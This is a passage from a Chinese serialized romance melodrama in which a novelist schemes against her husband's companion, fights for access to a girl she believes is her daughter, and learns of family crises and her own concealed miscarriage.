想想也是,他自信可以牢牢把我人和心都掌控于手心,哪怕肆意践踏我也不可能离开。
他今天突然发现自己失算了,不怒才怪!
……
我回到车里,深深的疲惫感顺着脊背爬了上来。
想到顾时序刚才那句十五号就要送朵朵出国的话,我此刻握着方向盘的手,都用力到发酸。
就在这时,我邮箱里收到了剧组发来的信息,我的小说已经被改编成了剧本,这是定稿前第一个版本。
名字叫做《婚途漫漫》。
“未央大大,如果您对这个版本的稿子没有意见,我们就按照这一版定稿了。”
就在这时,我突然冒出了一个念头,立刻回复:“如果现在,我想在剧本里加入一个无足轻重的角色,可以吗?”
那边回复我:“会改变情节走向和人物背景人设吗?”
我笃定道:“不会。”
“可以是可以,但麻烦您先把稿子写出来,我们需要开会讨论是否确定加入您说的新角色。而且,我们还需要请示高层的意见。”
高层?
是沈宴州吗?
不知道他会不会给我使绊子呢?毕竟,上次应酬的事,的确是我不对。
就怕他耿耿于怀。
尽管如此,为了我的女儿,我也没办法纠结犹豫,只能一不做二不休。
“好,给我三天时间。”
就这样,我立刻踩下油门,车子汇入了公路的车流。
顾时序想让苏雅欣去国外照顾朵朵,这就意味着苏雅欣必须要放弃自己的事业。
要是这时候,她梦寐以求的剧组能给她抛出个橄榄枝。
我也很想知道,她究竟会为了一个毫无关系的女儿放弃事业;还是为了这唯一翻红的机会,奋力一搏?
如果苏雅欣选择了留在国内拍戏,以顾时序对朵朵爱护程度来说,他不可能放心把朵朵交给其他人。
只有朵朵留在国内,我才能给自己争取更多时间找到跟她做亲子鉴定的机会。
到家后,我没有耽误时间,立刻打开电脑,开始往我原先的情节里加入新角色。
为了能足够吸引苏雅欣,这个角色是个正面人物,算是女主的朋友之一。
不过,这个人物的职业,我设定的是花滑运动员。
我可不想让她舒舒服服的待在剧组。
……
这三天,除了吃饭的时间,我一直都坐在电脑前。
整整熬了三个大夜,我把修改好的情节发给剧组,特意标注了新增角色的戏份。
剧组那边很快反馈,说角色设定贴合整体氛围,没什么问题。
我要求直接联系苏雅欣对接,他们也同意了。
我用剧组名义发去剧本节选,并配文:“苏小姐,我是《婚途漫漫》的编剧。根据全剧组讨论,本剧新增一个角色,很贴合您清纯玉女的人物形象。如果您感兴趣,可以直接入组。”
不到半小时,苏雅欣工作室就回复了信息。
而且,还是苏雅欣亲自用语音给我回复的。
她声音里带着刻意压抑的兴奋,道:“未央大大,哦不,未央老师,这个角色我太喜欢了!花滑运动员,还是女主的闺蜜,简直是为我量身定做的。”
我讽刺地弯了弯唇角,在键盘上打下几个字:“苏小姐满意就好。”
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“满意!太满意了!”
这时,她话锋一转,小心翼翼地问,“但我最近手头有点事,能不能麻烦把我的戏份集中在一周内拍完?我一定好好表现,绝对不耽误进度。”
我心里冷笑,果然是为了带朵朵出国的事腾时间。
“苏小姐,这个角色之所以想到你,也是看到你的努力,想在你低谷期帮你一把。如果你是这种态度,不如算了,免得耽误大家时间。”
我说完,那边立刻给我回来信息:“别啊,未央老师!是我不对,我说话没过脑子。您说怎么安排就怎么安排,多久都行,我绝对配合!”
见她终于上钩,我笑了笑,继续设局,“这个角色有不少花滑镜头,考虑到真实感,大部分镜头我们都不准备用替身。如果你能自己完成,播出后观众肯定会被苏小姐的敬业精神感动,之前那些**说不定能逆转。”
苏雅欣想都没想,便回:“没问题!您放心,我学东西很快的。谢谢未央老师给我这个机会,我一定不会让您失望!”
隔着屏幕,我都能感受到她那颗想翻红的心。
就在这时,她又给我发来个请求:“未央老师,有件事,想跟您协商一下。我十五号之后再入组可以吗?实在是家人有事,我抽不开身。”
我每个字都格外严肃地回她:“苏小姐,你这个年纪学花滑不是一朝一夕的事,剧组已经给你预约了花滑教练,希望你明天就入组开始学习。每天剧组都会给你制定训练计划,如果你觉得困难,我想,会有很多演员愿意接这个角色的。”
这次,苏雅欣那边很久都没有回复。
一小时之后,她才回我:“未央老师,就按照您说的办,我明天就去剧组报道。对了,您明天在剧组吗?我还要好好感谢您给我这个机会呢,可以的话,我请您吃个饭,您能赏光吗?”
“不必,我不喜欢应酬。”
我直接拒绝。
……
翌日一早,我得到剧组的消息,说苏雅欣已经去报道了。
而宋今若一大早也匆匆跑到我家里来。
“昭昭,你知不知道,苏雅欣要出演你的小说了!”
她以为自己带来的是个重磅消息!
我淡定地看着她,问:“你怎么知道的?”
宋今若拿出手机,道:“你看,她自己微博上发的。”
微博上,许久不更新的苏雅欣更新了一张自己在剧组的照片,还配文:“感谢《婚途漫漫》剧组的邀请,感谢作者夜未央特意为我加了角色,也感谢努力的自己。这次,你们的欣欣要体验花滑运动员的人生了!”
我觉得挺滑稽的,她这语气听起来好像是我们上赶着请她来拍戏。
纵使现在她无戏可拍,无广告可接,可她还要立一副正当红的人设。
下面一堆脑残粉全都冒出了头:
“啊啊啊,我们雅欣终于复出了!这段日子把我吓**,以为雅欣再也接不到工作了。”
“是金子总会发光的。雅欣接不到工作的时候一定在沉淀自己,你们看,现在的雅欣比之前更坚定了呢!”
“太感动了!好期待我们欣欣的表演,花滑运动员哎,纵观娱乐圈只有我们欣欣能演出美感!隔壁那个安婊,就算抢到了女主,又能怎样?等戏上映了,才能见分晓!”
“……”
宋今若气得要命,恨恨地说:“我都想吐了!她还有脸说努力?努力勾引男人呢吧!”
我笑了笑,道:“苏雅欣还真是比我想象的更加沉不住气。事以密成,这还什么没开始呢,她话就说出去了。”
宋今若一脸不解的看着我:“什么意思?你别告诉我,这角色真是你给她加的?”
我指着自己的黑眼圈,道:“看,熬了三天三夜,特意给她写的角色。”
“你疯了?让她演你的小说,你不嫌脏吗?”
我悠哉地靠在椅背上,享受着片刻的宁静,淡淡地跟她解释道:“放心,剧组拍完了会给我看最终版的,还会删减掉很多镜头。到时候把她的戏份全删了就行,反正本来就是无足轻重的角色,不影响主线。”
宋今若愣了两秒,突然笑出声:“妙啊!现在哪个剧组都不敢用她,为了翻红,她肯定为了这个机会,拼命练花滑,估计天天摔得鼻青脸肿。结果最后镜头全被剪了,她不得气炸?”
我一字一句道:“顾时序跟她好,我不在乎。他跟任何人好,我都不在乎。但是无论是谁,都别想伤害朵朵。苏雅欣敢在朵朵身上动手脚,我就必须要她付出代价!”
第88章 苏念恩没死?
翌日,我得知苏雅欣已经与剧组签了合同。
合同上要求得很清楚,演员如果离开剧组,必须请假,否则,一律解约。
这就意味着苏雅欣不能再随意回家接触我的朵朵。
我这才放心。
想到朵朵最近经历了食物**,又被苏雅欣利用,连续进了两次医院,我就心疼得不行。
我正在考虑如何才能见到朵朵,尽快用亲子鉴定证明我跟朵朵的母女关系。
就在这时,我手机响了,是宋今若。
“昭昭,出事了。”
宋今若言语凝重,道:“顾时序看来是疯了!你知道吗?他花了市场价十倍的工资请了几个家庭教师去顾氏庄园给朵朵上私课。朵朵以后应该是不会上幼儿园了。”
我深吸一口气,压下心头的惊怒,道:“他越是这样,越代表他心虚。他怕朵朵在幼儿园被我接触到,他怕我拿到亲子鉴定。”
宋今若是从事幼儿教育的,她担忧地说:“顾时序这么做,看着好像对女儿很慷慨,但这样真的很不利于孩子的成长。这个年纪的孩子正是进行社会化训练的起步期,他却把孩子圈养在家里。再这么下去,朵朵以后进入学校,只会更加孤僻,不合群。”
我问:“你知不知道他是从哪里请的家庭老师?”
宋今若叹了口气,道:“名单绝对保密,他们跟顾时序签订了严格的保密协议。就他请家庭教师这件事,还是我听业内一个熟人说起的。这两天,顾时序去了不少教育机构,在挑选老师。”
我轻轻嗯了一声,无力地说:“顾时序做事还是这么密不透风。虽然我把苏雅欣支走,他暂时放弃了送朵朵去国外的想法。可他还是不想让我接触到朵朵。”
宋今若带着安抚的意味,道:“你现在最重要的是稳住。顾时序越是把网收得紧,越说明他怕你发现朵朵的身世。咱们一步一步来,先摸到那些老师的底细,总能找到突破口的。”
我望着窗外深冬光秃秃的枝桠,心像是被浸在冰里。
是啊,急也没用,顾时序布了这么久的局,哪能说破就破?
跟宋今若通完话,本该在家更新稿子的我,却莫名心烦意乱。
熬了整整几个大夜,好不容易将苏雅欣引入局,现在,我却依然见不到女儿。
我目光不经意间落在日历上,再有三天就是12月8号了。
那是我女儿的生日,也是她的‘忌日’。
这个‘忌日’是顾时序强加给她,也强加给我的。
尽管如此,我还是去了墓地。
哪怕我心里几乎确定朵朵就是我的女儿,可那个死去的‘孩子’,像极了我和顾时序的婚姻,永远被埋葬在了那个深不见底的黑暗中。
……
墓地。
我到的时候,孩子的墓碑前,还站着一个身影。
顾时序背对着我站在墓碑前,他似乎早就察觉了我的到来,却迟迟没有回头。
直到我站定在他身后三步远的地方,他才缓缓转过身。
男人眉眼间覆着层化不开的冰霜,凝望着我。
我盯着他,心头那股火气莫名窜了上来:“你来这里做什么?”
他语气平静得仿佛一潭死水:“孩子的忌日快到了,跟你一样,来看看。”
我嗤笑了声,道:“顾时序,这墓地里究竟是不是我们的孩子,你心里清楚!”
“她是。”
他打断我,眼神骤然锐利起来,“为什么你总这么自欺欺人?朵朵不是你的女儿,你还要我说几遍?”
“那你把她关在家里算什么?”
我往前逼了一步,声音发颤,“你心里没鬼,为什么不敢让我见她?为什么不敢大大方方地让我们做亲子鉴定?”
他淡淡别开眼,语气毫无波澜,“别把你自己想得那么重要。无非是最近发生太多事,我觉得外面太乱,想让朵朵在家休养一段时间。跟你无关。”
“跟我无关?”我简直要被他这副冷漠的样子气笑了,“顾时序,你还是不是个男人?以前,我觉得你虽然冷漠,但至少,还算磊落。可现在,你敢做不敢认,你真让我瞧不起!”
他眸色沉沉地问:“既然你笃定孩子没死,今天来这儿的意义是什么?”
我望着那块冰冷的墓碑,忽然觉得一阵荒谬的悲凉。
“祭奠我们之间死去的一切。”
我低低地开口:“你知道吗?那天下葬,我一个人站在这里,看着那个小小的骨灰盒被埋进土里。我多么期盼你能来看一眼,哪怕就一眼呢?至少,你还是在乎的。可你没有!你有大把时间在大洋彼岸陪着苏雅欣给狗治病,却连我的一个电话,都没有接。”
顾时序的目光猛地沉了下去,落在墓碑前那束刚放不久的白菊上,睫毛垂下时在眼下投出片浓重的阴影。
我第一次从他那清冷矜贵的面容上,看到一抹涩然和无处辩解的苦闷。
他终于开口,声音沉沉的:“那天,我是真的有事,不是陪雅欣。是念恩……她突然发病,我必须留在那儿……”
我脸上没有一丝波澜和缓和,只是淡淡地说:“顾时序,你还是不懂。无论是陪苏雅欣还是陪苏念恩,对我来说,已经不重要了。总之,你心里的那个人,永远都不是我。”
过往的委屈像潮水般涌上来,我吸了吸鼻子,抬眼看向他:“你答应过我好多事,可你一件都没做到。不过,离婚这件事,我希望你能信守承诺。我们都给彼此一个体面和解脱吧,好吗?”
他的下颌线绷得紧紧的,眼底掠过一丝极淡的波澜,快得让人抓不住。
我们都沉默着,耳边只有风的声音。
不知过了多久,他终于开口:“离婚可以,只要你答应,以后,不要再来打扰朵朵的生活。”
说完,他没有等我回应,转身离开。
黑色的皮鞋碾过满地枯黄的树叶,在这寂静的墓园里格外刺耳,像一把钝刀,一下下割在我心上。
我不会打扰他,也不会打扰他的女儿,但我必须要回我的女儿!
那是我怀胎十月生下的孩子!
我怎么能就这么放弃?
……
从墓地回来后,我把自己关在房间里,盯着日历上那个被红笔圈住的“12.8”,指尖一遍遍划过那串数字。
四年了,我没有参与过朵朵成长中的任何阶段,就连一个生日都没有陪她过过。
忽然想起上次在医院时,她让我做的拉布布蛋糕。
似乎,小丫头对这个玩偶很喜欢。
我上网搜了一下关于这个玩偶的信息,发现有几款已经绝版了。
最终,我从转卖市场才找到绝版的那几款,价格很贵,我咬咬牙,买了下来。
想在生日那天,送给朵朵。
生日前一天,我给顾时序打了电话,道:“我想明天去给朵朵过个生日,她在家吗?”
那头沉默了两秒,随即传来他冷沉的声音:“叶昭昭,朵朵的生日不是明天。”
“她的生日究竟是几号,你心里比谁都清楚。”
我攥紧了手机,指腹按得生疼,“顾时序,我只是想单纯给她过一次生日,不会做任何让你不安的事。你剥夺了我做母亲的权利整整四年,我就想陪我的女儿过一次四岁生日,这点心愿,你若还有良心,就不该拒绝!”
电话那头的呼吸似乎顿了一下,良久,他才道:“你来吧。但我警告你,别在朵朵身上动任何心思,否则,你永远都别想再见到她。”
……
第二天上午,我带着给朵朵的礼物来到了顾氏庄园。
这个我以为曾经是我一辈子的家,如今,却这样陌生。
刘妈见到我,欣喜地说:“太太,您来了!快进来吧,先生带着小姐在等您呢。”
我冲她笑了笑,道:“以后别叫我‘太太’。”
刘妈尴尬了一下,心里清楚怎么回事儿,连忙改了口:“叶小姐……”
她领着我进了客厅,顾时序正坐在沙发上看杂志,朵朵坐在地毯上坐着摆弄她的一堆娃娃。
见我进来,朵朵手上的动作停顿了一下,道:“叶阿姨,你怎么来了?”
‘阿姨’这两个字让我的心被刺了一下。
随即,我扬起笑脸,蹲下身摸了摸她的脑袋,“阿姨来给朵朵过生日。”
她歪着脑袋,小眉头皱起来:“可是,我的生日还没到呀。”
我笑了笑,捏了捏她的脸颊:“那就提前过一次,这样朵朵就能过两次生日了,是不是很划算?”
“哇!真的哎!”
朵朵立刻拍着小手跳起来,眼睛亮晶晶的,“阿姨你今天可以带我一起做蛋糕吗?”
“当然。”
我忍不住想抱抱她,可小丫头却不动声色地别开了。
或许在她眼中,我依旧只是个会做好吃的陌生人吧?
一旁的顾时序始终没有说话,只是偶尔用一种清冷深邃的目光看着我们。
这样也好,他能当空气,让我跟朵朵好好相处一天,我便很满足了。
只是,在我带朵朵进厨房时,他也跟了过来。
他就靠在厨房门口,像防贼似的盯着我。
我知道,他是怕我在这期间弄到朵朵的样本去做鉴定。
我忍着不悦,系上围裙就开始准备材料。
朵朵踮着脚尖趴在料理台边,鼻尖几乎要碰到瓷盆边缘。“阿姨,我来帮你打鸡蛋好不好?”
她眼睛又黑又亮地看着我,像只等待投喂的小奶猫。
我把一只鸡蛋放进她手心,自己也拿了一只,让她学着我的样子打鸡蛋。
小丫头学东西很快,两个鸡蛋以后,她就打得像模像样的了。
这时,顾时序拿出手机对着我们。
我蹙眉问:“你干什么?”
他淡淡地说:“把朵朵的成长轨迹录下来,以后她长大了放给她看。”
这种慈爱眼神,在平日的顾时序眼中是完全看不到的。
只有面对朵朵的时候,他才会染上人间烟火的气息。
我心中暗暗自嘲,他这样宝贝他的女儿。
可我呢?
却要生生承受母女分离的悲痛。
就在这时,朵朵突然遗憾地说了句:“要是妈妈也
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在就好了。我都好几天没见到妈妈了,好想她。”
我和面的手猛地一僵,心像被冰锥狠狠扎了一下。
顾时序温柔地对女儿道:“妈妈在拍戏,等你生日那天,她一定回来陪你。”
“太好喽!”
朵朵开心地笑了,小虎牙露了出来,很骄傲地说:“我妈妈是大明星。妈妈总说,大明星的女儿就是要吃亏点的。因为,明星很忙的,但也很耀眼!爸爸,我以后也要当大明星!”
我无声地叹了口气,哪怕我再怎么努力,现在,我也无法替代苏雅欣在朵朵心中的位置了。
朵朵和顾时序说话很多,偶尔会跟我说几句话,但都是关于做蛋糕的步骤,除此之外,并无其他。
当她再次跟顾时序滔滔不绝地说起苏雅欣这个‘妈妈’时,我终于忍不住打断。
“朵朵,阿姨还给你带了礼物。”
我努力说起话题,想让自己融入进他们的对话里。
朵朵听到礼物,惊喜地问:“是什么礼物呀?”
我刮了下她的小鼻梁,道:“是绝版的拉布布哦。”
“真的吗?”
她眼中仿佛亮起了无数星星,眉眼间很像顾时序,但也很像我。
朵朵听到绝版的拉布布,已经等不及了。
她拉着我的手,焦急地问:“阿姨,礼物在哪里呀?”
我笑:“在我包包里呢。我带你去拿,好不好?”
我正准备牵着朵朵的手出去,顾时序却道:“朵朵,自己去拿。阿姨的包包在客厅沙发上。”
朵朵急切地想要拿到礼物,她已经小跑着出去了。
我望着顾时序,嘲讽地笑了笑,道:“你就这么怕我单独跟朵朵相处?哪怕就这一会儿?”
顾时序冷漠地说:“朵朵现在的生活很幸福,很平静。你刚才听见了,她有多依赖雅欣。我只是不想你打扰到她,就这么简单。”
我们正说着,朵朵已经拿着用蝴蝶结系着的包装盒回到了厨房。
她刚把盒子放在桌上,小手又往口袋里一掏,举着个亮晶晶的东西凑到我面前:“阿姨,这个也是给我的吗?一闪一闪的,好漂亮呀!”
我顺着她的手看过去,浑身的血液瞬间凝固。
苏念恩那枚镶着粉钻的耳钉,是我那天随手塞进包里的。
这阵子被各种事搅得心烦,竟忘了把它拿出来收好。
一旁的顾时序像被惊雷劈中般定在原地,死死盯着那枚耳钉,眼中的凌厉仿佛要将谁给撕碎似的!
厨房里的空气仿佛冰冻了一般,我仿佛能听见自己心跳撞击胸膛的咚咚声。
朵朵还不明所以呢,拿着耳钉晃了晃,道:“阿姨,你怎么不说话呀?”
下一秒,顾时序从她手里拿过耳钉,冷声道:“朵朵,回你自己的房间去。”
“为什么?”
朵朵疑惑地望着爸爸,道:“蛋糕才刚开始做呢,还没……”
她话音未落,顾时序厉声重复了一遍:“现在立刻回房间!”
朵朵吓了一跳。
虽然平日里顾时序对她宠爱有加,但那种父亲的威严总是让孩子又敬又畏的。
现在,顾时序这般凌厉的模样,朵朵几乎快要吓哭了,小丫头眼圈红的要命。
我忍无可忍,道:“顾时序,你至于为了一个去世的人,这么对自己女儿吗?她那么小,她懂什么?”
顾时序就这么看着朵朵,道:“我不想再说第三遍。”
朵朵眼泪瞬间流了下来,委屈极了,但不敢违抗爸爸的话,一边哭,一边往楼上跑去。
直到小丫头的身影消失在楼梯拐角,顾时序才终于开口,带着压抑着的愤怒:“念恩的东西,怎么会在你这儿?叶昭昭,你还敢说,她的死,跟你没有关系!”
我被他一步步逼退,直到后背抵住冰凉的橱柜。
他双手捏着我的肩,很用力,咬牙问:“告诉我!念恩贴身的东西为什么在你这儿?”
我坦然地迎上他目光,道:“这耳钉是我捡到的。”
他冷笑一声,道:“叶昭昭,你撒谎也走点心!”
“是真的!”
我提高了音量,声音带着一抹颤抖,“那天在我妈病房外,有个女人鬼鬼祟祟地晃悠,我觉得不对劲就追了上去,她跑的时候掉在地上的。我没追上她,但我把这个耳钉收了起来,想着日后或许有用。”
顾时序附身靠近我,高大的身影压得我几乎喘不过气,“你别告诉我,那个女人,是念恩!叶昭昭,你知不知道你在说什么?”
我道:“你要是不信,我们现在就去医院调监控!”
顾时序盯着我看了足足半分钟,像是要把我看穿。
突然,他抓起我的手腕,转身就走:“去医院。”
……
车子在马路上疾驰,车厢里的沉默比争吵更让人窒息。
我看着窗外**的街景,心脏悬在嗓子眼。
上次调监控没成功,这次,顾时序估计会联系人脉,肯定能调出来。
我也想知道,那个女人,究竟是谁!她又为什么出现在我妈病房门口?
第90章 顾时序得知我流产,彻底红了眼(高潮!必看
慌乱中,我跌跌撞撞地下了床,快步走出卧室。
穿过客厅时,闻到一股淡淡的米香。
我走到厨房门口,竟看见沈宴州穿着灰色家居服,缓缓搅动着锅里的东西。
夕阳透过百叶窗落在他身上,勾勒出温和的轮廓,褪去了平日里的疏离,竟有种说不出的人夫感。
听到动静,他转过头,目光平静地落在我身上:“醒了?”
我脸颊瞬间烧得滚烫,窘迫得手足无措,张了张嘴,却问不出口衣服的事。
“衣服是我让钟点工过来换的。”
他像是看穿了我的心思,率先开口解释,语气自然得仿佛在说一件再寻常不过的事,“你发烧了,再穿着湿衣服不好。”
“谢……谢谢沈律师。”
我结结巴巴地道了谢,手指却紧张地攥着衬衫下摆。
他的衬衫对我来说又宽又大,几乎遮到膝盖,并没有什么暴露的地方,可我却总觉得浑身不自在。
沈宴州的目光在我身上停留了几秒,眼眸深沉,看不真切他的情绪。
就在这时,门铃响了。
他径直去开门,是他的助理高朗,手里提着一个袋子。
“沈律,您要的衣服和药。”
高朗把东西递过来,眼神在我身上飞快地扫了一眼,又迅速移开。
他走后,沈宴州把袋子递过来,里面是一套崭新的女装和一盒退烧药。
此刻我只想赶紧换好衣服,逃离这里。
然而,我刚拿起衣服准备去卧室,沈宴州就叫住我:“先把药吃了。锅里的小米粥快好了,喝完,我不喜欢浪费。”
他的语气不容置疑,我只好硬着头皮坐在了餐桌旁,心里不停吐槽自己:人家好歹也算长辈,看在外公的面子上照顾你,你在胡思乱想些什么?真是写小说写多了,脑子瓦特了!
这时,沈宴州将盛好的小米粥端到我面前。
米粒熬得软糯,上面还飘着几粒枸杞。
喝下去之后胃里暖暖的。
发烧时的我向来没什么胃口,但他熬的小米粥好像很合我口味。
沈宴州坐在我对面,慢条斯理地喝着粥,动作优雅矜贵。
我喝了几口粥,突然想起什么,小心翼翼地说:“不好意思沈律师,今天本来只准备耽误您十分钟的时间。没想到……”
“意外而已。”
他放下汤匙,拿起纸巾擦了擦唇角。
他一言一行,都有一套让人挑不出错处的分寸。
……
我吃完晚餐立刻去换衣服,然后便提出回家。
“我送你。”
他拿起车钥匙,跟我解释:“这一带不好打车。”
想到我自己的车还坏在拘留所车库,我便没跟他客气。
车子驶离别墅区。
刚上主干道,沈宴州睨着后视镜,轻慢的笑了下,“你丈夫还挺执着的。”
我微微一怔,这才发现后视镜里,顾时序的那辆黑色迈巴赫竟然还跟着我们。
难道他这几个小时,一直都没有离开过?
我心里暗骂一声神经病、变态!
“沈律师,抱歉,您不用搭理他。”我尴尬道。
沈宴州并没有计较顾时序的所作所为,快到我家楼下时,对我道:“给你一个忠告,尊重他人命运。如果你哥真的做了窃取商业机密的事,那他就该为自己的行为付出代价,你没必要这样奔走。”
我道:“他是被苏雅欣迷惑的。我哥虽然冲动,但他不是坏人,他一个人绝对做不出这种事。”
沈宴州笑了笑,没再说话,仿佛在无声地嘲讽我‘执迷不悟’。
我苦涩地开口,声音低低的:“板子只有打在自己身上才会知道疼。您不了解我的童年,如果没有叶家,我很小的时候就被送到孤儿院了。我妈妈……也撑不到现在。”
沈宴州静静的听我说完,侧头看了我一眼,道:“你说的对。”
他表情很平静,没有丝毫嘲讽的意思,仿佛真的理解了我的执念。
我惊讶。
无往不胜的沈律师,竟然没有反驳我,而是认可了我的想法。
他的车在我家楼下停下。
见他也准备下来,我连忙道:“您不用送我。今天,真不好意思,耽误了您休息。”
沈宴州还是下了车,瞥了眼不远处那辆黑色迈巴赫,道:“我看着你上去。”
我这才反应过来。
以顾时序的脾气,估计沈宴州一走,他就能从车里出来把我强行带走。
所以,沈宴州才站在这儿等我上楼再走。
我感激的跟他道了谢,连忙走进楼道里。
回去后,我又发起了低烧,所以更新了两章小说情节,就睡着了。
翌日,我被一阵急促的手机铃声吵醒。
我迷迷糊糊接起电话,父亲的声音格外绝望:“昭昭……你妈她……她服了大量**,刚送进市中心医院抢救,还没出来……”
“什么?!”
我脑子“嗡”的一声,快速起床梳洗好,冲出家门。
医院里,叶爸爸蹲在走廊长椅旁,头发一夜之间白了大半,佝偻的背影写满了狼狈和沧桑。
“爸……”
我声音发哑,蹲到他身边,问:“怎么会这样?妈妈为什么会突然想不开?”
叶爸爸抬起头,眼里布满血丝,哽咽道:“都怪我……怪我没看好你妈。昨天,你妈又去找姜淑慧求情,被姜淑慧损了一顿,还说,时序马上就要跟你离婚了。我们这才知道,你跟时序的关系已经恶劣成了这样子。我就跟你妈说,以后不要你再掺合你哥的事情了,毕竟,你夹在中间也为难。”
我没吭声,落寞的垂下眼眸,算是默认了。
叶爸爸捂着脸,绝望地说:“我以为你妈听进去了,她当时并没有反对。谁知道今天凌晨,突然就吃了一瓶**……”
我静静的听着,突然发现我哥出事不只是他一个人的事。
他是叶夫人的命根子,也是叶家唯一的血脉。
顾时序不给我哥留余地,与毁掉叶家无异。
就在这时,直到抢救室的灯灭了。
我和父亲连忙凑上前,医生道:“人救回来了,但还需要观察”。
我们悬着的心刚落下,就见我爸的秘书匆匆跑过来,脸色凝重地递过一份文件。
“叶董,公司出事了。顾氏刚发了律师函,说让咱们一个月内还清他们所有损失。不然……**可能要查封叶家所有的不动产。”
我爸双腿一软,差点栽倒在地。
我连忙扶住他,甚至能感受到他身体都在颤抖。
我心底泛起一抹悲凉的自嘲。
顾时序果然够狠,连最后一点余地都不肯留。
他步步为营,一寸寸逼退我所有的防线。
我要是不妥协,他就会让我亲眼看着对我有养育之恩的叶家**。
“爸,您撑住,在这儿好好照顾妈妈。”
我深吸一口气,尽量让自己声音平静点。
现在,父母已经乱了方寸,除了指望我,他们已经别无他法。
我转身朝电梯走去,爸爸突然拉住我,问:“昭昭,你干什么去?”
我开口,嗓音沙哑:“找顾时序。”
爸爸眉头紧锁,近乎于绝望地说:“昭昭,你为叶家做的够多了!其实这些年,叶家生意不景气。时序是看在你的面子上,才多番出手拉了我们一把。这次,是你哥太过分,偷了他公司的机密……这一切,都是我们的错!”
“爸,我必须要去。如果任由顾时序做下去,叶家就完了!”
我握着父亲的手,就像小时候我刚到叶家,他牵着我的手送我去学校。
只是现在,爸爸的掌心多了许多薄茧,一双手抖得厉害。
叶爸爸眼圈通红,嘴唇动了动,想说什么最终还是咽了回去。
他的手一点点松开,像是卸下了千斤重担,又像眼睁睁看着我走向悬崖。
……
到了顾氏庄园,佣人不多言语,径直引我往佛堂去。
顾时序算准了,我一定会来。
推开佛堂那扇沉重的木门,龙涎香的气息扑面而来。
顾时序背对着我立在牌位前,昏晦的光线下,那道黑色身影像是从地狱而来的撒旦。
“来了?”
他没回头,明知故问。
我站在他身后不远处,视线猝然撞进佛堂中央摆放着的苏念恩的牌位。
本该愤怒、绝望和无助的我,此刻竟莫名想笑。
“对,我来了。”
我嗓音带着自嘲的喑哑,道:“你把叶家逼到绝境,不就为了这一刻,等着我来求你吗?”
顾时序唇角勾起冷意,“你以为自己有这么大分量?你求,我就会放过他们?”
我紧紧咬着下唇克制着,一字一顿地问:“那你要我怎么做,才肯罢休!”
“跪下。”
他终于转过身,目光砸在我身上,带着不容置喙的命令。
我膝盖像灌了铅,一寸寸弯下去,跪在冰凉的地面上。
地板的寒意顺着薄薄的衣料往上钻,冷意几乎渗进了我的骨髓。
顾时序居高临下地睨着我,道:“这么乖?我还当昨天在沈宴州那儿待了那么久,他给你支了什么高招。”
我想起昨天他那辆紧紧尾随我们的车,道:“沈律师没给我出主意。我哥有错,我认。但你能不能高抬贵手,放叶家一条生路?就算要补顾氏的亏损,也
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请给叶家些宽限。”
可顾时序像是没听见,仍在沈宴州的话题里打转。
他蹲下身,指尖带着沁骨的凉意捏住我下颌,“他没给你出主意?那你说说,昨天在他家里那么久,你们都做了些什么?”
我抬眼撞进他眼底,反问:“这跟叶家、跟苏念恩的死,有关系吗?”
“苏念恩”三个字,无比精准地戳中了他的痛处,也让他不再追问关于沈宴州的事。
顾时序捏着我下巴的力道骤然加重,阴沉沉地开口:“好,那你说,念恩是**的?你对她做了什么,把她逼上绝路!她的耳钉,为什么会在你包里?”
“对,是我害死她的!”
我突然扯着嗓子喊出来,破罐子破摔的说:“是我嫉妒她,是我跟她说了最恶毒的话,是我逼她**!这样你满意了吗?顾时序,你想听的,是不是就是这个?”
顾时序冷峻的面容阴沉至极,锋利的目光像刀片,仿佛要将我凌迟。
我红着眼眶,声音抖得不成样子,“你有任何恨,冲我来。求你,放叶家一马……至少,别做得那么绝。”
佛堂里静的可怕,顾时序始终没有说话。
突然,他攥住我手腕将我拉起来,拖着我就往外走。
“你干什么?”
我被他拽着,跌跌撞撞地跟在后面,手腕被捏得生疼。
他把我塞进车里,踩下油门。
我不知道他要带我去哪儿,可我今天决定来找他的那一刻起,就已经放弃了所有挣扎。
就这样,我靠在椅背上,像条被扔在烈日下的鱼,连张口呼吸的力气都没有,就那么闭着眼,等着未知的结局。
车最终停在西岩寺山脚下。
我没问,心底却掀起惊涛骇浪。
他带我来这里做什么?
“下车。”
他扔下两个字,径直往山上走。
我怔怔看着这片熟悉的地方,浑身都在微微颤抖着。
我仿佛又看见了顾时序脚下的石阶上,蜿蜒的那片鲜红。
那天的暴雨那么大,我的孩子,就是在这里无声无息的离开了我。
顾时序走了几步,回头,不满地说:“愣着干什么?”
我猛地回过神儿,一步步跟上了他。
难道这次,他又要让我从山底跪到山顶,去给苏念恩赎罪?
终于,我们到了山顶的佛寺。
他猛地将我拽到佛前,道:“你敢对着佛祖发誓吗?说念恩的死与你无关。若你说谎……”
他顿了顿,每一个字都像是一把刀:“就让四年前那个死去的孩子,永世不得超生!”
我震惊的瞪大双眼,血液瞬间冲上头顶,又在下一秒冻结成冰,顺着血管往四肢百骸里钻。
无论朵朵是不是四年前我生下的那个孩子,可那个孩子,终究是他的亲生骨肉啊!
我们之间究竟有什么样的深仇大恨,他要用这么恶毒的话去诅咒一个孩子!
我的心脏被一只无形的手攥住,狠狠往碎里揉。
太疼了!疼到浑身发抖,疼到喉咙酸痛,却连一句完整的话都说不出来。
就在这时,一个温润浑厚的声音从门口传来:“阿弥陀佛,顾施主,您今日怎么不打招呼就来了?”
顾时序听见这个声音,脸色才稍稍缓和些,回过头,双手合十,道:“净悟师父,我今日来这儿,有点事。”
他这样高高在上的人,却好像对净悟师父格外尊重。
我想,这应该就是带他修佛的师父吧?
我回头望去,净悟师父穿着红色袈裟,年过半百,看起来十分温和。
我不认识他,但他却径直向我走来,微笑着道:“那日,我把女施主送进医院,就赶回来主持僧会了。不知女施主身体可好些?”
我怔住了,原来,那日送我去医院的师父,竟然就是眼前这位。
“我现在身体已经恢复了,但净悟师父的救命之恩,我会铭记在心。”
我忘了顾时序的存在,语气里充满了感激。
净悟师父深深的叹息道:“阿弥陀佛,善哉善哉。佛门本是帮人渡劫之地,却让女施主的孩子无端牺牲。每每想起,我总要为那个可怜的胎儿上柱香,诵诵经。”
一旁的顾时序突然开口道:“净悟师父,您……您刚才说的孩子,是什么意思?”
净悟师父看看我,又看看他,问:“你跟这位女施主是……?”
顾时序顿了顿,低低地说:“她是我太太。”
净悟师父恍然大悟,随即,一脸不解:“难道,顾施主不知道你太太上个月在西岩寺雨中下跪,流产了吗?幸亏被我那个清扫佛寺的徒弟发现,否则,必将酿成大祸啊!”
第91章 迟来的道歉与懊悔
